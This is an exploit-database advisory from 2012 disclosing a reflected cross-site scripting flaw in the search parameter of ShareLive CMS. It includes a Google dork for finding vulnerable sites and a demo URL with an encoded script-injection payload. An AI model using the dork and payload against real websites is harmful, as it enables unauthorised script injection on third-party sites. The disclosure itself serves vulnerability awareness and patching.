ShareLive CMS Cross Site Scripting

2012.08.26
Credit: Crim3R
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79
Dork: intext:\"Code and Portal design ? ShareLive\"

############# # Exploit Title: ShareLive cms Cross Site Scripting Vulnerability # # Google Dork: intext:"Code and Portal design ShareLive" # # Date: 08/24/2012 # # Author: Crim3R # # Tested on: all # ############# ======================================== s parametr in search.php is Vulnerable to xss D3M0 : http://contenXXXXXXXXXXXXXXXXXet/search.php?s=%22%3E%3Cscript%3Ealert%280%29%3B%3C%2Fscript%3E&cat=all&rel=1&search_option=simple&network=edonkey&go=Search ===============Crim3R@Att.Net=========== $home = %00 thanks to : 2MzRp - Mikili - 0x0ptim0us - iC0d3R - farbodmahini & Amir


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top